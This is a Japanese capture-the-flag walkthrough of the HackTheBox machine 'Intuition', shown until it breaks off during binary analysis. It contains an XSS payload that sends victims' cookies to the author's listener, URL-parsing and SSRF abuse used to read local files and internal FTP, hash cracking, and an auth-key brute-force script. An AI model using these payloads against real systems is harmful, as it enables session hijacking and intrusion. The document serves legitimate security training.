2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回はHackTheBoxのHardマシン「Intuition」のWriteUpです。
マシンの名前である「Intuition」は翻訳すると「直感」となります。直感に従って攻略することが大切なのでしょうか。。どのようなマシンなのか楽しみです。

image.png

グラフはさすがHardマシンといった感じですね。
Hardなので、少し苦戦するかもですが攻略目指して頑張ります!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Intuition

列挙

それでは攻略を開始していきます。
まずは、nmapから実行していきましょう。

+[~/intuition]
(σ▰>∇<)σ<>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.15

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSHとHTTPがオープンしています。出力からドメインがhttp://comprezzor.htb/であることがわかっているので、hostsファイルに記述し、ブラウザでアクセスしてみましょう。

image.png

ファイルを圧縮できるサイトのようです。
一番上にファイルを選択できるボタンが用意されているので、想定されていない拡張子もアップロードできるか試してみます。

image.png

拡張子の制限は正常に働いていそうです。
LZMAアルゴリズムを使用して圧縮を行うみたいなので、その脆弱性がないか調べてみましたが、特に情報もありませんでした。

サイト内に他に怪しい箇所がないか調べましたが特に見つからなかったので、サブドメインを探索することにしました。ffufを実行します。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb" -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://comprezzor.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.comprezzor.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

auth                    [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 201ms]
dashboard               [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 190ms]
report                  [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 207ms]
:: Progress: [151265/151265] :: Job [1/1] :: 217 req/sec :: Duration: [0:11:51] :: Errors: 0 ::

3つもサブドメインが確認できました。ステータスコードが200番だったのはreportのみなので、reportからブラウザでアクセスしてみましょう。

image.png

バグを報告するサイトのようです。Report a Bugを押下することでレポートを記入することができるみたいなので、押下してみましょう。

image.png

ログインページが表示されました。ドメインもauthに変更されています。
認証情報はありませんが、Registerというリンクがあるので押下します。

image.png

ユーザを登録できそうですね。ユーザ名とパスワードを入力し、登録しましょう。

image.png

登録できました。登録した情報でログインします。

image.png

レポートの元のページに返ってきましたが、ログインには成功していそうです。
再度Report a Bugのボタンを押下しましょう。

image.png

レポートを提出するページが表示されました。
とりあえず適当に入力してみましょう。

image.png

レポートは提出できたようですが、そのレポートを確認するページなどは特に見つかりません。コマンドインジェクションやSQLインジェクションなどが発火しないかも試しましたが、特に発火している様子はありませんでした。

XSS (Adam's Cookie)

ここでかなりの時間を使ってしまいました。。。が、試している中で、提出に成功した後のメッセージに目を向けました。

メッセージには日本語訳で「私たちのチームがすぐに確認する」と書いてあります。もしもサイト自体が1つのアプリケーションとして機能しており、サポートチームがログインしてレポートを確認するような場合、レポートの表示はHTMLで行われることが予想されます。
そして、レポートがHTMLとして表示され、表示する画面が仮にXSSに脆弱である場合、サポートチームのCookieを取得できるかもしれません。ダメ元ではありますが、試してみましょう。まずはローカルでWEBサーバを立ち上げます。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

次にCookieを取得できるペイロードを入力しましょう。

image.png

入力したコードは以下の通りです。

<script>var i=new Image(); i.src="http://10.10.14.5:8000/?cookie="+btoa(document.cookie);</script>

入力できたら提出し、CookieがWEBサーバへ送信されないか確認してみましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1" 200 -

なんと!Cookieが送信されてきました!
ダメ元でしたが、やっと次に進むことができそうです。このCookieを使用し、dashboardのサブドメインへアクセスしましょう。ちなみに私のペイロードでCookieを取得した場合はBase64でEncodeされているので、Decodeする必要があります。

image.png

Cookieを使用することで、adamユーザとしてアクセスできました!

ユーザの識別
アクセスしたユーザの名前がadamであるとわかったのは、Cookieとして使用されていたJWTをBase64でDecodeすることで、username:adamと設定されていたためです。さらにユーザにはロールも付与されているようで、adamユーザには、role:webdevと設定されていました。もう一段階上のロール(例えばadminのような)がありそうですね。

見るところこのサイトは提出されたレポートを見ることができるサイトのようです。
また、それぞれのレポートには優先度を決めるPriorityが設定されています。おそらく「1」が優先度高く「0」は優先度低めのようです。はじめはレポートに書いてある脆弱性を悪用するのかと思いましたが、内容を見ても悪用できるようなものはありませんでした。

XSS (admin's Cookie)

続いてのステップを考えるとき、ロールにもう1段階上のものがあると予想していたので、なんとかしてもう1つ上のロールを取得する方法を考えました。しかしロールが1段階上のユーザの存在など見つかりません。では、どうすればよいのか。。

少し考えた結果、私は再び優先度の存在の意味を考えました。優先度が高いものと低いものがあるということは優先度に応じて対応が変わるということです。現にレポートの詳細ページから、Adamユーザの権限で優先度を変更できます。

image.png

ここからは全く根拠がないですが、優先度が高いものの場合、ロールが高いユーザがレポートを確認しにくると仮定した場合、ペイロードが入力されたリポートの優先度を高くすればロールが高いユーザのCookieを取得できるかもしれません。

試してみましょう。再度ペイロードを入力したレポートを提出し、ダッシュボードで確認してみましょう。

image.png

一番下にレポートが追加されています。そのレポートの優先度を「1」へ変更しましょう。

image.png

優先度を「1」へ変更出来たら、ロールが高いユーザからCookieが送信されていないか確認してみましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1" 200 -
...
10.10.11.15 - - [] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1" 200 -

異なるCookieが送信されてきました!これをDecodeし、Cookieとしてセットした上でdashboardへアクセスしてみましょう。

image.png

adminユーザとしてアクセスできました!ちなみにロールもadminでした。

CVE-2023–24329

ページ内を確認すると、Create a backupCreate PDF Reportが追加されたことがわかりました。試しにバックアップを押下してみると...

image.png

バックアップに成功しました!というメッセージが表示されるだけで、特にそれ以外のアクションは起きていなさそうです。続いてPDFの方を押下してみます。

image.png

入力したURLのPDFを作成するようです。試しにKali側のIPアドレスを入力してみます。

image.png

上の写真のようなPDFが作成されました。PDFの作成の攻撃としてよくあるのは作成にしようするツールのバージョンに脆弱性があるようなパターンです。ダウンロードしたPDFに対して、exiftoolを実行してみましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ exiftool report_83346.pdf 
ExifTool Version Number         : 12.76
File Name                       : report_83346.pdf
Directory                       : .
File Size                       : 8.0 kB
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : 
Creator                         : wkhtmltopdf 0.12.6
Producer                        : Qt 5.15.2
Page Count                      : 1

wkhtmltopdfのバージョンが0.12.6であることがわかりました。このバージョンに脆弱性がないか調べてみたところ、以下のサイトを発見しました。

どうやらSSRFに対して脆弱のようです。が、今回アクセス制御があるほかのポートがあるわけでもないですし、SSRFを悪用するには情報がなさすぎます。

もう少しPDF作成機能について調べたいので、ncで待ち受けを作成しそこへアクセスをさせてみることにします。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ nc -lnvp 2121
listening on [any] 2121 ...

この状態で、PDF作成に2121番ポートを指定します。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.15] 52552
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.14.5:2121
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close

User-Agentを見ると、Python-urllib3.11が使用されていることがわかりました。このバージョンにも脆弱性がないかを確認してみると、以下の記事を発見しました。

Python-urllib3.11には、ブラックリストのバイパスに対して脆弱のようです。脆弱性を悪用することで、ローカルファイルを読み取ることが可能です。

概要 : CVE-2023–24329
この脆弱性は、バージョンが3.11の時、urlparseによる解析において問題が生じます。URLの先頭に空白を挿入することでホスト名とスキームの解析に問題が生じ、最終的にブラックリストを回避することに繋がります。

それではこの脆弱性を悪用しましょう。まずは/etc/passwdの読み取りを狙います。file:///etc/passwdの先頭に空白を挿入し、PDFを作成しましょう。

image.png

/etc/passwdの読み取りに成功しました!
それではこの脆弱性を使用し、情報を列挙していきます。まずは、今回のサーバで実行されているコードの内容を読み取りたいので段階的に調査を進めていきます。まず実行されているコードを確認しましょう。/proc/self/cmdlineに対して読み取りを行います。

image.png

/app/code/app.pyが実行されていることがわかりました。
では続いてこちらのPythonファイルに対して読み取りを行います。

image.png

Pythonファイルの内容が出力され、secret_keyなどを確認することができました。その中でファイルをインポートしている部分に注目してください。インポート元をblueprints.index.indexblueprints.auth.authのように示しています。これは各ファイルが以下のように展開されていることを示しています。

/app/code/blueprints/index/index.py
/app/code/blueprints/report/report.py
/app/code/blueprints/auth/auth.py
/app/code/blueprints/dashboard/dashboard.py

それぞれを確認し、脆弱性がないか確認します。dashboard.pyを見てみると...

image.png

脆弱性ではないですが、FTPの認証情報が書かれていました!

CVE-2022-35583

FTPの認証情報を見つけたのはいいですが、nmapの実行結果でFTPがオープンしていないことがわかっているので直接アクセスできません。どうすればよいか一瞬悩みましたが、先ほどPDFに対してexiftoolを実行し、wkhtmltopdf0.12.6がSSRFに対し、脆弱であったことを思い出しました。CVE-2023–24329と組み合わせることで、FTPへのアクセスできます!

それでは、FTPアクセスのリンクとしてftp://ftp_admin:u3jai8y71s2@ftp.localを指定したうえで、先頭に空白を挿入しPDFを作成しましょう。作成したPDFを確認すると...

image.png

FTPへアクセスできました!3つのファイルがあるようですが、welcome_note.pdfwelcome_note.txtをPDF化したもののようなので実質2つのファイルです。
どちらも確認してみましょう。まずはprivate-8297.keyです。指定するリンクはftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.keyです。

image.png

SSH秘密鍵が取得できました!接続してみたい気持ちを抑え、welcome_note.txtも確認してみます。

image.png

SSH秘密鍵のパスフレーズが記載されていました!きちんとすべてのファイルを確認するのが大切ですね。
あとはSSH秘密鍵が誰のものなのかわかれば接続できそうです。これは容易に判別可能です。SSH秘密鍵を保存したファイルに対して、ssh-keygenを使用しユーザを判別しましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh-keygen -p -f id_rsa 
Enter old passphrase: 
Key has comment 'dev_acc@local'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

dev_accユーザのものであることがわかりました!

dev_acc としてのシェル

それでは、SSH接続を行いましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa': Y27SH19HDIWD
dev_acc@intuition:~$ whoami
dev_acc

侵入に成功しました!

dev_acc@intuition:~$ ls -l
total 4
-rw-r----- 1 root dev_acc 33 May  2 10:10 user.txt

ユーザフラグも取得できました!

横移動

それでは内部探索へ移ります。とりあえずsudo -lを実行してみます。

dev_acc@intuition:~$ sudo -l
[sudo] password for dev_acc: 
sudo: a password is required

パスワードが求められたので、sudoは実行できないようです。SUIDも気になるファイルはなかったので、続いてWEBルートを確認することにしました。

dev_acc@intuition:/var/www/app$ ls -l
total 20
-rw-r--r-- 1 root root  780 Apr  9 10:37 app.py
drwxr-xr-x 6 root root 4096 Apr 10 08:21 blueprints
drwxr-xr-x 2 root root 4096 Apr 10 08:21 __pycache__
drwxr-xr-x 3 root root 4096 Apr 10 08:21 selenium
drwxr-xr-x 6 root root 4096 Apr 10 08:21 templates

見慣れたファイルやディレクトリがあります。

Hash Crack

seleniumディレクトリも気になりますが、とりあえずまずはblueprintsディレクトリ内に他に情報がないかを調べていきます。auth配下を見てみると...

dev_acc@intuition:/var/www/app/blueprints/auth$ ls -la
total 40
drwxr-xr-x 3 root root  4096 May  2 17:25 .
drwxr-xr-x 6 root root  4096 Apr 10 08:21 ..
-rw-r--r-- 1 root root  1842 Sep 18  2023 auth.py
-rw-r--r-- 1 root root  3038 Sep 19  2023 auth_utils.py
drwxr-xr-x 2 root root  4096 Apr 10 08:21 __pycache__
-rw-r--r-- 1 root root 16384 May  2 17:25 users.db
-rw-r--r-- 1 root root   171 Sep 18  2023 users.sql

users.dbファイルを発見しました。sqlite3コマンドでアクセスしてみましょう。

dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev

adminadamのパスワードハッシュを確認しました!
それぞれ保存し、解読できないか試してみましょう。hashcatを実行します。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ hashcat -m 30120 hash.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 7730U with Radeon Graphics, 2915/5894 MB (1024 MB allocatable), 6MCU
...
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
...

adamのハッシュを解読することに成功しました!
ローカルユーザとしてadamユーザが存在していたので、SSH接続やsuコマンドが実行できないか試しましてみましょう。

> SSH
+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh adam@10.10.11.15             
adam@10.10.11.15s password: 
Permission denied, please try again.

> su
dev_acc@intuition:~$ su adam
Password: 
su: Authentication failure

どちらも失敗しました。。
しかし、adamというディレクトリがありながらも、認証情報が使用できないというのは違和感です。

Auth Key

ほかに認証情報が使用できる箇所がないかを考えたとき、私はFTPが起動していたことを思い出しました。FTPであればアクセス先をディレクトリで変更している可能性は全然あります。試してみましょう。

dev_acc@intuition:~$ ftp adam@127.0.0.1
Connected to 127.0.0.1.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

ログインに成功しました!
列挙する前に、ポート転送を行い、Kali側からアクセス可能にします。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh -D 1080 -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa': 
dev_acc@intuition:~$ 

これで準備は万端です。再度Kali側から接続を行いましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ proxychains ftp adam@127.0.0.1  
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:21  ...  OK
Connected to 127.0.0.1.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Kali側からのアクセスに成功しました。

では、ここからFTP内を列挙していきます。ディレクトリの中を掘っていくと...

ftp> ls
drwxr-xr-x   3 root     1002         4096 Apr 10 08:21 backup
ftp> cd backup
ftp> ls
drwxr-xr-x   2 root     1002         4096 Apr 10 08:21 runner1
ftp> cd runner1
ftp> ls
-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c

3つのファイルを発見しました!runner1はバイナリのようですが、runner1.cが存在しているので、わざわざ逆コンパイルする必要はなさそうです。
すべてのファイルを取得しておきましょう。

ftp> get run-tests.sh
ftp> get runner1
ftp> get runner1.c

ダウンロードができたら、見てみましょう。まずはrun-tests.shです。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat run-tests.sh 
#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

コードの中にauth codeがあり、一部がマスク化されたUHI75GHI****という文字列があります。次のステップはこのコードを推測することでしょうか。runner1.cも見てみましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat runner1.c   
// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
...
} else {
        printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    return 0;
}

先ほどauth codeで示されたコードのハッシュが表示されています!
どうやらこれはMD5でハッシュ化されているようです。なので、先ほどのマスク化された部分に総当たりで文字を入れていき、ハッシュ化した値とすでにわかっているハッシュ値を照合し、同じ値になれば元のauth codeを求めることができます。
簡単なコードを書いて、ハッシュ値の照合を行いましょう。使用したコードは以下の通りです。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ cat calc.py  
import itertools
import hashlib

def find_original_string(partial_string, hash_value):
    # 英数字の大文字のみの文字列を生成
    characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 破損部分の長さを計算
    length_of_missing_part = partial_string.count('*')
    
    # 全ての可能な文字列の組み合わせを生成
    for combo in itertools.product(characters, repeat=length_of_missing_part):
        # 破損した部分を置換
        attempt = partial_string.replace('*', '{}').format(*combo)
        
        # MD5 ハッシュ値を計算
        attempt_hash = hashlib.md5(attempt.encode()).hexdigest()
        
        # ハッシュ値が一致した場合、元の文字列として返す
        if attempt_hash == hash_value:
            return attempt
    
    # 一致するものがなければ None を返す
    return None

# 破損した文字列とハッシュ値
damaged_string = 'UHI75GHI****'
original_hash = '0feda17076d793c2ef2870d7427ad4ed'

# 関数を呼び出して結果を表示
original_string = find_original_string(damaged_string, original_hash)
if original_string:
    print('Original string:', original_string)
else:
    print('No match found.')

それでは、このスクリプトを実行していきましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ python3 calc.py               
Original string: UHI75GHINKOP

auth keyを求めることに成功しました!
ちゃんと使用できるかどうか試してみましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ./runner1 run 1 -a "UHI75GHINKOP"
Failed to open the playbook directory: No such file or directory

auth keyが異なる場合はAuthenticate failedというエラーが出力されるので、そのエラーではないということは認証に成功していることがわかりました。

lopez's Credential

auth keyは取得できましたが、これだけで横移動や権限昇格につなげるのは難しそうです。もう少し内部を探索し、情報を増やす必要がありそうなので、もう一度戻って調査を開始します。

調査をしていると/optディレクトリに気になるスクリプトを発見しました。

dev_acc@intuition:/opt$ ls -la
total 28
drwxr-xr-x  7 root root    4096 Apr 10 08:21 .
drwxr-xr-x 19 root root    4096 Apr 10 07:40 ..
drwx--x--x  4 root root    4096 Aug 26  2023 containerd
drwxr-xr-x  4 root root    4096 Sep 19  2023 ftp
drwxr-xr-x  3 root root    4096 Apr 10 08:21 google
drwxr-x---  2 root sys-adm 4096 Apr 10 08:21 playbooks
drwxr-x---  2 root sys-adm 4096 Apr 10 08:21 runner2

先ほど取得したファイルがrunner1で、/optディレクトリにあるのがrunner2です。明らかに関連性があるので、詳しく見てみたいですが権限がrootsys-admにしかありません。横移動に成功すれば権限が付与されるかもしれないので、ユーザに焦点を当てた列挙に進みます。もう一度/homeディレクトリを確認しましょう。

dev_acc@intuition:/home$ ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 25 11:49 .
drwxr-xr-x 19 root    root    4096 Apr 10 07:40 ..
drwxr-x---  2 adam    adam    4096 Apr 10 07:37 adam
drwxr-x---  4 dev_acc dev_acc 4096 Apr  9 18:26 dev_acc
drwxr-x---  3 lopez   lopez   4096 Apr 10 08:21 lopez

まだアクションを起こしていないユーザとしてlopezユーザが存在します。このユーザの認証情報を取得したいので、色々列挙していきます。

列挙も様々な方法がありますが、とりあえずgrepzgrepを使用してlopezに関する情報がないかを調べていきます。zgrepを実行していると...

dev_acc@intuition:~$ find / -name \*.gz -print0 2>/dev/null | xargs -0 zgrep -i "lopez" 
gzip: /snap/core20/2015/usr/share/doc/bash/README.md.bash_completion.gz: No such file or directory
gzip: /snap/core20/2015/usr/share/doc/console-conf/changelog.gz: No such file or directory
...
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
...

/var/log/suricata/eve.json.7.gzlopezに関する情報があり、"command":"PASS"の部分にパスワードが書かれていました!

lopez としてのシェル

それでは、この情報を使用してSSH接続ができるかどうか試してみましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ ssh lopez@10.10.11.15                    
lopez@10.10.11.15s password: 

lopez@intuition:~$ whoami
lopez

SSH接続に成功しました!横移動成功です!

権限昇格

さすがHardマシン。かなりのボリュームですが、いよいよ終盤です。
ここから権限昇格を目指していきましょう。まずはsudo -lから実行していきます。

lopez@intuition:~$ sudo -l
[sudo] password for lopez: 
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2

おお!先ほど確認したrunner2root権限で実行できるようです。
ということは、lopezユーザは...

lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)

sys-admグループに属しています!

Analysis runner2

では、runner2の解析を行い、脆弱性を発見していきます。
まずは、scpでファイル転送を行いましょう。

+[~/intuition]
(σ▰>∇<)σ<10.10.14.5>$ scp -i id_rsa lopez@10.10.11.15:/tmp/runner2 ./runner2
lopez@10.10.11.15s password: 
runner2                              100%   17KB  31.5KB/s   00:00   

ファイルをKali側に転送できたら、GhidraIDAを使用し、ファイルを解析していきます。
解析後、main関数を見ていきます。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  FILE *__stream;
  long lVar2;
  int *piVar3;
  int *piVar4;
  char *pcVar5;
  undefined8 uVar6;
  DIR *__dirp;
  dirent *pdVar7;
  int local_80;
  char *local_78;
...
...
          fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
          json_decref(lVar2);
          return 1;
        }
        fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
      }
    }
  }
LAB_00101db5:
  json_decref(lVar2);
  return 0;
}

100行ほどあるので、中間をすべて省略しましたが、上記のようなmain関数が確認できていれば解析できています。それでは上から確認し、脆弱性を探していきましょう。
1番上はそれぞれの変数を定義しています。その下を見てみましょう。

  if (param_1 != 2) {
    printf("Usage: %s <json_file>\n",*param_2);
    return 1;
  }
 __stream = fopen((char *)param_2[1],"r");
  if (__stream == (FILE *)0x0) {
    perror("Failed to open the JSON file");
    return 1;
  }
  lVar2 = json_loadf(__stream,2,0);
  fclose(__stream);
  if (lVar2 == 0) {
    fwrite("Error parsing JSON data.\n",1,0x19,stderr);
    return 1;
  }

引数のチェックを行っています。どうやら引数にはJSONファイルを想定しているようです。与えられたファイルを開くことができなかったり、JSONとして解析できない場合にはエラーを出力するようです。
どのようなJSONファイルが求められるのかは後ほどわかると思うので、調査を続けます。

  piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
  if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
    fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
  }
  else {
    piVar4 = (int *)json_object_get(piVar3,"action");
    if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
      fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
    }

上記では、実際にJSONファイルからオブジェクトを取得し、オブジェクトが取得できなかった場合やactionというオブジェクトが存在しない場合に、エラーを出力しています。
この時点で、actionというオブジェクトが必要であることがわかりました。調査を続けましょう。

  else {
    pcVar5 = (char *)json_string_value(piVar4);
    iVar1 = strcmp(pcVar5,"list");
...
    else {
      iVar1 = strcmp(pcVar5,"run");
      if (iVar1 == 0) {
...
    iVar1 = strcmp(pcVar5,"install");
    if (iVar1 == 0) {

上記では、actionで指定された要素に対する処理が記述されています。
それぞれ以下のようにまとめます。
